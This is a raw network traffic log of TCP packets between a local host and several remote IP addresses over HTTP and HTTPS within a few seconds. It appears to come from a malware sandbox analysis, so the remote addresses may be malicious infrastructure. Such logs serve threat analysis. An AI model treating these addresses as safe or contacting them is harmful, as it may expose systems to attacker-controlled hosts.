Oct 30, 2024 21:56:31.951942921 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951984882 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.951992035 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952028990 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.952100039 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952111006 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952121973 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952136040 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.952150106 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.952169895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952182055 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952208042 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.952230930 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.952677965 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952688932 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952697992 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.952763081 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.990928888 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.990946054 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.990958929 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.991029978 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.991039991 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.991174936 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.991219044 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.991239071 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.991269112 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.991280079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.991282940 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.991290092 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.991300106 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.991321087 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.032747984 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032767057 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032793999 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032810926 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032824039 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032834053 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032845974 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032857895 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.032891989 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.033160925 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.033178091 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.033186913 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.033189058 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.033196926 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.033246994 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.073718071 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.073765039 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.073776960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.073860884 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.073971033 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074198008 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074240923 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074290037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074301004 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074311018 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074323893 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074328899 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074340105 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074371099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074373960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074385881 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074397087 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074408054 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.074415922 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074426889 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.074454069 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076126099 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076190948 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076247931 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076258898 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076268911 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076281071 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076287985 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076292038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076298952 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076303959 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076313972 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076318979 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076356888 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076683044 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076697111 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076720953 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076725006 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076731920 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076744080 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076750994 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076755047 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076761961 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076767921 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076781034 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076788902 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076792955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.076803923 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.076834917 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.077519894 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.077559948 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.077661037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.077702045 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.112747908 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.112864017 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.112891912 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.112919092 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.112929106 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.112956047 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.112972975 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.112978935 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.113003969 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.113010883 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.113015890 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.113059998 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.113261938 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.115129948 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115154982 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115165949 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115202904 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.115226984 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.115499020 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115537882 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.115576029 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115586996 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115597010 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115608931 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.115616083 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.115642071 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.156781912 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.156786919 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.156968117 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.156992912 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157006979 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157025099 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157037020 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157043934 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157048941 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157061100 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157078981 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157089949 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157119036 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157285929 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157313108 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157322884 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157324076 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157335997 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.157347918 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157363892 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.157378912 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.197731018 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.197756052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.197767019 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.197866917 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198107958 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198215961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198225975 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198235989 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198246956 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198256969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198267937 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198285103 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198296070 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198558092 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198597908 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198678970 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198689938 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198720932 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198736906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198759079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.198776960 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.198801994 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.200675011 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.200737953 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.200747967 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.200757980 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.200762033 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.200767994 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:32.200777054 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.200798988 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.200824976 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:32.203619957 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.241982937 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242048979 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242084026 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242110014 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242115974 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.242122889 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242165089 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.242171049 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242202044 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.242204905 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.242961884 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.243247032 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.243257046 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.243266106 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.243272066 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.369143009 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.369210005 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.370811939 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.370819092 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.371048927 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.372281075 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.372301102 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.372344971 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.543859959 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.543872118 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:32.543987989 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.544445038 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:32.544454098 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:33.171612978 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:33.171724081 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:33.173027039 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:33.173032999 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:33.173252106 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:33.174813032 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:33.174997091 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:33.175026894 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.293363094 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.293457031 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.293567896 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.293761015 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.293780088 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.293791056 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.293797016 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.294924974 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:34.300887108 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:34.301959038 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:34.302086115 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:34.307923079 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:34.456017971 CET	50239	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:34.456274986 CET	50248	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:34.461920977 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.462048054 CET	443	50246	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.462168932 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.462192059 CET	50246	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.462241888 CET	80	50239	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:34.462609053 CET	80	50248	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:34.462655067 CET	50239	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:34.462687969 CET	50248	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:34.464325905 CET	50248	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:34.470257044 CET	80	50248	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:34.947241068 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.947266102 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:34.947652102 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.948255062 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:34.948263884 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:35.423536062 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423666000 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423676968 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423687935 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423732042 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.423748016 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423758984 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423772097 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423774958 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.423784971 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423821926 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.423842907 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.423856020 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423868895 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.423907042 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.424386024 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.425014973 CET	80	50248	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:35.425071001 CET	50248	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:35.427707911 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.428041935 CET	50250	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.429689884 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.429702044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.429713964 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.429724932 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.429740906 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.429788113 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.430188894 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.430200100 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.430211067 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.430222034 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.430236101 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.430264950 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.431097031 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.431108952 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.431119919 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.431130886 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.431147099 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.431173086 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.432074070 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.432085037 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.432096004 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.432106972 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.432122946 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.432147026 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.434942961 CET	80	50250	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.435483932 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.435578108 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.435702085 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.435713053 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.435724020 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.435724974 CET	50250	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.435734987 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.435746908 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.435771942 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.436089993 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.436166048 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.436204910 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.484910011 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.486366987 CET	50250	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.492232084 CET	80	50250	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.539983034 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.539998055 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540051937 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.540138960 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540155888 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540165901 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540175915 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540186882 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540198088 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540213108 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.540239096 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.540458918 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540471077 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540482044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540527105 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.540613890 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540626049 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.540657043 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.541131020 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541142941 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541152954 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541178942 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.541199923 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.541287899 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541299105 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541340113 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.541685104 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541695118 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541706085 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541731119 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.541834116 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541845083 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541855097 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.541879892 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.541909933 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.546488047 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.546500921 CET	80	50247	185.215.113.16	192.168.2.5
